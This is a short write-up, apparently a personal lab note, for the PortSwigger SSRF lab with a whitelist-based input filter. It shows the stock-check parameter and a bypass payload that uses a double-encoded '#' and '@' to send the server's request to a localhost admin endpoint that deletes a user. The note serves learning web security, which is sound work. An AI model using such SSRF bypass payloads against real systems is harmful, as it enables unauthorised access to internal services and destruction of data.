← Writeups

SSRF with whitelist based input filter

https://portswigger.net/web-security/ssrf/lab-ssrf-with-whitelist-filter

stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1

stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=1



#@  + dominio obligatorio = bypass
stockApi=http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos